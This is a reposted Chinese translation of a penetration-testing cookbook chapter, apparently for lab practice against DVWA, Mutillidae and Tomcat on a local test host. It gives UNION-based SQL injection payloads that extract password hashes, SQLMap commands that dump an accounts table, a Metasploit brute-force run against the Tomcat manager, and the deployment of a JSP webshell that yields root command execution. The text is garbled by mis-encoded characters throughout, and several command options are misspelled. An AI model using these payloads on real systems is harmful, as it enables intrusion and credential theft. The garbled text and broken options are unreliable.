  • 4.在 HackBar 中,我們將id參數(shù)的值替換為1' order by 1 -- ',并點(diǎn)擊Execute。

  • 5.我們通過(guò)執(zhí)行請(qǐng)求,持續(xù)增加order數(shù)字后面的值,直到發(fā)生錯(cuò)誤。這里例子中,它在3的時(shí)候發(fā)生。

  • 6.現(xiàn)在,我們知道了請(qǐng)求由兩列。讓我們嘗試是否能使用 UNION 語(yǔ)句來(lái)提取一些信息?,F(xiàn)在將id的值設(shè)為1' union select 1,2 -- '并點(diǎn)擊Excecute

  • 7.這意味著我們可以在 UNION 查詢中請(qǐng)求兩個(gè)值。那么試試 DBMS 的版本和數(shù)據(jù)庫(kù)用戶如何呢?將id設(shè)為1' union select @@version,current_user() -- '并點(diǎn)擊Execute

  • 8.讓我們查找一些有關(guān)的東西,例如應(yīng)用的用戶。首先,我們需要定位用戶表,將id設(shè)置為1' union select table_schema, table_name FROM information_schema.tables WHERE table_name LIKE '%user%' -- '。

  • 9.好的,我們知道了數(shù)據(jù)庫(kù)(或Schema)叫做dvwa,我們要查找的表叫做users。因?yàn)槲覀冎挥袃蓚€(gè)地方來(lái)設(shè)置值,我們需要知道的哪一列對(duì)我們有用。將id設(shè)置為1' union select column_name, 1 FROM information_schema.tables WHERE table_name = 'users' -- '。

  • 10.最后,我們確切知道了要請(qǐng)求什么,將id設(shè)為1' union select user, password FROM dvwa.users -- '


    First name字段中,我們得到了應(yīng)用的用戶名,在Surname字段匯總,我們得到了每個(gè)用戶的密碼哈希。我們可以將這些哈希復(fù)制到我呢本文呢減重,并且嘗試使用 John the Ripper 或我們喜歡的密碼破解器來(lái)破解。

工作原理

在我們的第一次注入,1' order by 1 -- '1' order by 3 -- '中,我們使用 SQL 語(yǔ)言的特性,它允許我們通過(guò)特定的字段或類,使用它的編號(hào)來(lái)排列結(jié)果。我們用它來(lái)產(chǎn)生錯(cuò)誤,于是能夠知道查詢一共有多少列,便于我們將其用于創(chuàng)建 UNION 查詢。

UNION 查詢語(yǔ)句用于連接兩個(gè)擁有相同列數(shù)量的查詢,通過(guò)注入這些我們就可以查詢數(shù)據(jù)庫(kù)中幾乎所有東西。這個(gè)秘籍中,我們首先檢查了它是否像預(yù)期一樣工作,之后我們將目標(biāo)設(shè)置為users表,并設(shè)法獲得它。

第一步是弄清數(shù)據(jù)庫(kù)和表的名稱,我們通過(guò)查詢information_schema
數(shù)據(jù)庫(kù)來(lái)實(shí)現(xiàn),它是MySQL中儲(chǔ)存所有數(shù)據(jù)庫(kù)、表和列信息的數(shù)據(jù)庫(kù)。

一旦我們知道了數(shù)據(jù)庫(kù)和表的名稱,我們?cè)谶@個(gè)表中查詢所有列,來(lái)了解我們需要查找哪一列,它的結(jié)果是userpassword。

最后,我們注入查詢來(lái)請(qǐng)求dvwa數(shù)據(jù)庫(kù)的users表中的所有用戶名和密碼。

6.8 使用 SQLMap 發(fā)現(xiàn)和利用 SQL 注入

我們已經(jīng)在上一個(gè)秘籍中看到,利用 SQL 注入是個(gè)繁瑣的步驟。SQLMap 是個(gè)命令行工具,包含在 Kali 中,可以幫我們自動(dòng)化檢測(cè)和利用 SQL 注入。它帶有多種技巧,并支持多種數(shù)據(jù)庫(kù)。

這個(gè)秘籍中,我們會(huì)使用 SQLMap 來(lái)檢測(cè)和利用 SQL 注入漏洞,并用它獲得應(yīng)用的用戶名和密碼。

操作步驟

  • 1.訪問(wèn)http://192.168.56.102/mutillidae

  • 2.在 Mutillidae 的菜單中,訪問(wèn)OWASP Top 10 | A1 – SQL Injection | SQLi Extract Data | User Info。

  • 3.嘗試任何用戶名和密碼,例如userpassword之后點(diǎn)擊View Account Details。

  • 4.登錄會(huì)失敗,但是我們對(duì) URL 更感興趣。訪問(wèn)地址欄并將完整的 URL 復(fù)制到剪貼板。

  • 5.現(xiàn)在,打開終端窗口,輸入下列命令:

1  sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=user&password=password&user-info-php-submitbutton=View+Account+Details" -p username --current-user --currentdb

你可以注意到,-u參數(shù)就是所復(fù)制的 URL 的值。-p告訴 SQLMap 我們打算在用戶名參數(shù)中查找注入。一旦漏洞被利用,我們想讓它獲得當(dāng)前數(shù)據(jù)庫(kù)用戶名和數(shù)據(jù)庫(kù)的名稱。我們只打算獲得這兩個(gè)值,因?yàn)槲覀冎幌肱袛噙@個(gè) URL 的username參數(shù)是否存在 SQL 注入。

  • 6.一旦 SQLMap 檢測(cè)到應(yīng)用所使用的 DBMS,它會(huì)詢問(wèn)我們是否跳過(guò)檢測(cè)其它 DBMS 的步驟,以及是否打算包含所有特定系統(tǒng)的測(cè)試。即使它們?cè)诋?dāng)前的配置等級(jí)和風(fēng)險(xiǎn)之外。這里,我們回答Ues來(lái)跳過(guò)其它系統(tǒng),以及No來(lái)包含所有測(cè)試。

  • 7.一旦我們指定的參數(shù)中發(fā)現(xiàn)了漏洞,SQLMap 會(huì)詢問(wèn)我們是否打算測(cè)試其它參數(shù),我們回答No,之后觀察結(jié)果:

  • .8如果我們打開獲得用戶名和密碼,類似于我們?cè)谏弦粋€(gè)秘籍那樣,我們需要知道含有這些信息的表名稱。在終端中執(zhí)行下列代碼:

1  sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp --tables

SQLMap 會(huì)保存所執(zhí)行的注入日志,所以第二次攻擊會(huì)花費(fèi)更少的時(shí)間。你可以看到,我們指定了要提取信息(nowasp)的數(shù)據(jù)庫(kù),并告訴 SQLMap 我們想獲取這個(gè)數(shù)據(jù)庫(kù)的表名稱列表。

  • 9.accounts表使含有我們想要的信息的表之一。讓我們轉(zhuǎn)儲(chǔ)內(nèi)容:
1  sqlmap -u "http://192.168.56.102/mutillidae/index.php?page=userinfo.php&username=test&password=test&user-info-php-submitbutton=View+Account+Details" -p username -D nowasp -T accounts --dump

我們現(xiàn)在擁有完整的用戶表,并且我們可以看到,這里密碼并沒(méi)有加密,所以我們可以直接使用它們。

工作原理

SQLMap 會(huì)使用 SQL 注入字符串,對(duì)給定 URL 和數(shù)據(jù)的輸入進(jìn)行模糊測(cè)試,或者只針對(duì)-p選項(xiàng)中的特定目標(biāo),并且解釋其響應(yīng)來(lái)發(fā)現(xiàn)是否存在漏洞。不要模糊測(cè)試所有輸入,最好使用 SQLMap 來(lái)利用我們已知存在的注入,并始終嘗試縮小搜索過(guò)程,通過(guò)提供所有可用的信息,例如漏洞參數(shù)、DBMS 類型,以及其它。在所有可能性下尋找注入會(huì)花費(fèi)大量時(shí)間,并在網(wǎng)絡(luò)中產(chǎn)生非常大的流量。

這個(gè)秘籍中,我們已經(jīng)知道了用戶名參數(shù)存在注入漏洞(因?yàn)槲覀兪褂昧?Mutillidae 的注入測(cè)試頁(yè)面)。在第一個(gè)攻擊中,我們只希望確認(rèn)注入是否存在,并詢問(wèn)一些非?;镜男畔ⅲ河脩裘?code>--curent-user)和數(shù)據(jù)庫(kù)名稱(--current-db)。

在第二個(gè)攻擊中,我們使用-D選項(xiàng),以及前一次攻擊所獲得的名稱,指定希望查詢的數(shù)據(jù)庫(kù),我們也使用--tables詢問(wèn)了所包含的表名稱。

知道我們希望獲得哪個(gè)表(-T accounts)之后,我們告訴 SQLMap 使用--dump轉(zhuǎn)儲(chǔ)它的內(nèi)容。

更多

SQLMap 也能夠注入 POST 參數(shù)中的輸入變量。我們只需要添加--data選項(xiàng)并附帶 POST 數(shù)據(jù),例如:

1  --data "username=test&password=test"

有時(shí)候,我們需要在一些應(yīng)用中獲得身份驗(yàn)證,以便能夠訪問(wèn)應(yīng)用的漏洞 URL。如果是這樣,我們可以傳遞有效的會(huì)話 Cookie給 SQLMap, 使用--cookie選項(xiàng):

1  --cookie "PHPSESSID=ckleiuvrv60fs012hlj72eeh37" 

這在測(cè)試Cookie值的注入時(shí)也非常有用。

另一個(gè)有趣的特性是,使用--sql-shell選項(xiàng),它可以為我們提供 SQL shell,其中我們可以執(zhí)行 SQL 查詢,就像我們直接連接到數(shù)據(jù)庫(kù)那樣。或更有趣的是,我們可以使用--osshell在數(shù)據(jù)庫(kù)服務(wù)器中執(zhí)行系統(tǒng)命令(在注入 MSSQL 服務(wù)器時(shí)特別有用)。

為了了解 SQLMap 擁有的所有選項(xiàng)和特性,你可以執(zhí)行:

1  sqlmap --help

另見(jiàn)

Kali 包含了用于檢測(cè)和利用 SQL 注入漏洞的其它工具,它們能夠用于代替或配合 SQLMap:

  • sqlninja:非常流行的工具,為利用 MSSQL 服務(wù)器而設(shè)計(jì)。
  • Bbqsql:Python 編寫的 SQL 盲注框架。
  • jsql:基于 Java 的工具,帶有完全自動(dòng)化的 GUI,我們只需要輸入 URL 并按下按鈕。
  • Metasploit:它包含不同 DBMS 的多種 SQL 注入模塊。

6.9 使用 Metasploit 攻擊 Tomcat 的密碼

Apache Tomcat,是世界上最廣泛使用的Java Web服務(wù)器之一。帶有默認(rèn)配置的 Tomcat 服務(wù)器非常容易發(fā)現(xiàn)。發(fā)現(xiàn)暴露 Web 應(yīng)用管理器的服務(wù)器也非常容易,它是一個(gè)應(yīng)用,允許管理員啟動(dòng)、停止、添加和刪除服務(wù)器中的應(yīng)用。

這個(gè)秘籍中,我們會(huì)使用 Metasploit 模塊來(lái)執(zhí)行 Tomcat 服務(wù)器上的字典攻擊來(lái)獲得管理器應(yīng)用的訪問(wèn)。

準(zhǔn)備

在我們開始使用 Metasploit 之前,我們需要在 root 終端中開啟數(shù)據(jù)庫(kù)服務(wù):

1  service postgresql start

操作步驟

  • 1.啟動(dòng) Metasploit 的控制臺(tái)。
1  msfconsole
  • 2.啟動(dòng)之后,我們需要加載合適的模塊,在msf>提示符之后鍵入下列代碼:
1  use auxiliary/scanner/http/tomcat_mgr_login
  • 3.我們可能打算查看它使用什么參數(shù):
1  show options
  • 4.現(xiàn)在,我們?cè)O(shè)置目標(biāo)主機(jī):
1  set rhosts 192.168.56.102
  • 5.為了使它更快,但是不要太快,我們?cè)黾泳€程數(shù):
set threads 5
  • 6.同時(shí),我們不希望讓我們的服務(wù)器由于太多請(qǐng)求而崩潰,所以我們降低爆破的速度:
1  set bruteforce_speed 3 
  • 7.剩余參數(shù)剛好適用于我們的情況,讓我們執(zhí)行攻擊:
1  run


在一些嘗試中失敗之后,我們發(fā)現(xiàn)了有效的密碼,它使用[+]標(biāo)記。

工作原理

通常 Tomcat 使用 TCP 8080,它的管理器應(yīng)用位于/manager/html中。這個(gè)應(yīng)用使用基本的 HTTP 驗(yàn)證。我們剛剛使用的 Metasploit 輔助模塊(tomcat_mgr_login)有一些值得提及的配置項(xiàng):

  • BLANK_PASSWORDS:對(duì)每個(gè)嘗試的用戶添加空密碼測(cè)試。
  • PASSWORD:如果我們打算測(cè)試多個(gè)用戶的單一密碼,或者添加列表中沒(méi)有包含的項(xiàng)目,這就很實(shí)用。
  • PASS_FILE:用于測(cè)試的密碼列表。
  • Proxies:如果我們需要通過(guò)代理來(lái)訪問(wèn)我們的目標(biāo),或者避免檢測(cè),就用這個(gè)選項(xiàng)。
  • RHOSTS:?jiǎn)蝹€(gè)主機(jī),或多個(gè)(使用空格分隔),或者我們想要測(cè)試的主機(jī)列表文件(/path/to/file/with/hosts)。
  • RPORT:Tomcat 所使用的 TCP 端口。
  • STOP_ON_SUCCESS:發(fā)現(xiàn)有效密碼之后停止嘗試。
  • TARGERURI:主機(jī)中管理器應(yīng)用的位置。
  • USERNAME指定特殊的用戶名來(lái)測(cè)試,它可以被單獨(dú)測(cè)試,或者添加到定義在USER_FILE的列表中。
  • USER_PASS_FILE:包含要被測(cè)試的“用戶名 密碼”組合的文件。
  • USER_AS_PASS:將每個(gè)列表中的用戶名作為密碼嘗試。

另見(jiàn)

這個(gè)攻擊也可以由 Hydra 執(zhí)行,使用http-head作為服務(wù),-L選項(xiàng)來(lái)加載用戶列表,-P選項(xiàng)來(lái)加載密碼。

6.10 使用 Tomcat 管理器來(lái)執(zhí)行代碼

上一個(gè)秘籍中,我們獲得了 Tomcat 管理器的身份認(rèn)證,并提到了它可以讓我們?cè)诜?wù)器中執(zhí)行代碼。這個(gè)秘籍中,我們會(huì)使用它來(lái)登錄管理器并上傳新的應(yīng)用,這允許我們?cè)诜?wù)器中執(zhí)行操作系統(tǒng)命令。

操作步驟

  • 1.訪問(wèn)http://192.168.56.102:8080/manager/html

  • 2.被詢問(wèn)用戶名和密碼時(shí),使用上一個(gè)秘籍中獲得的:rootowaspbwa。

  • 3.一旦進(jìn)入了管理器,尋找WAR file to deploy并點(diǎn)擊Browse按鈕。

  • 4.Kali 在/usr/share/laudanum包含了一些 webshall,在這里瀏覽它們并選擇文件/usr/share/laudanum/jsp/cmd.war。

  • 5.加載之后點(diǎn)擊Deploy

  • 6.確保存在新的叫做cmd的應(yīng)用。

  • 7.讓我們?cè)囈辉嚕L問(wèn)http://192.168.56.102:8080/cmd/cmd.jsp。

  • .8在文本框中嘗試命令,例如ifconfig

  • 9.我們可以看到,我們可以執(zhí)行命令,但是為了弄清楚我們擁有什么用戶和什么權(quán)限,嘗試whoami命令:


    我們可以看到,Tomcat 在這臺(tái)服務(wù)器中運(yùn)行在 root 權(quán)限下。這意味著我們這里擁有它的全部控制權(quán),并且能夠執(zhí)行任何操作,例如創(chuàng)建或刪除用戶,安裝軟件,配置操作系統(tǒng)選項(xiàng),以及其它。

工作原理

一旦我們獲得了 Tomcat 管理器的身份認(rèn)證,攻擊過(guò)程就相當(dāng)直接了。我們僅僅需要足以讓我們上傳它的應(yīng)用。Laudanum 默認(rèn)包含在 Kali 中,是多種語(yǔ)言和類型的 webshell 的集合,包括 PHP、ASP、 ASP.NET 和 JSP。對(duì)滲透測(cè)試者來(lái)說(shuō),什么比 webshell 更有用呢?

Tomcat 能夠接受以 WAR(Web 應(yīng)用歸檔)格式打包的Java Web 應(yīng)用并將其部署到服務(wù)器上。我們剛剛使用了這一特性來(lái)上傳 Laudanum 中的 webshell。在它上傳和部署之后,我們?yōu)g覽它并且通過(guò)執(zhí)行系統(tǒng)命令,我們發(fā)現(xiàn)我們擁有這個(gè)系統(tǒng)的 root 訪問(wèn)。


版權(quán)聲明:本文轉(zhuǎn)載自wizardforcel的專欄,如有侵權(quán),請(qǐng)與本人聯(lián)系。
專欄鏈接:http://blog.csdn.net/wizardforcel

原文鏈接:http://blog.csdn.net/wizardforcel/article/details/52840214

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容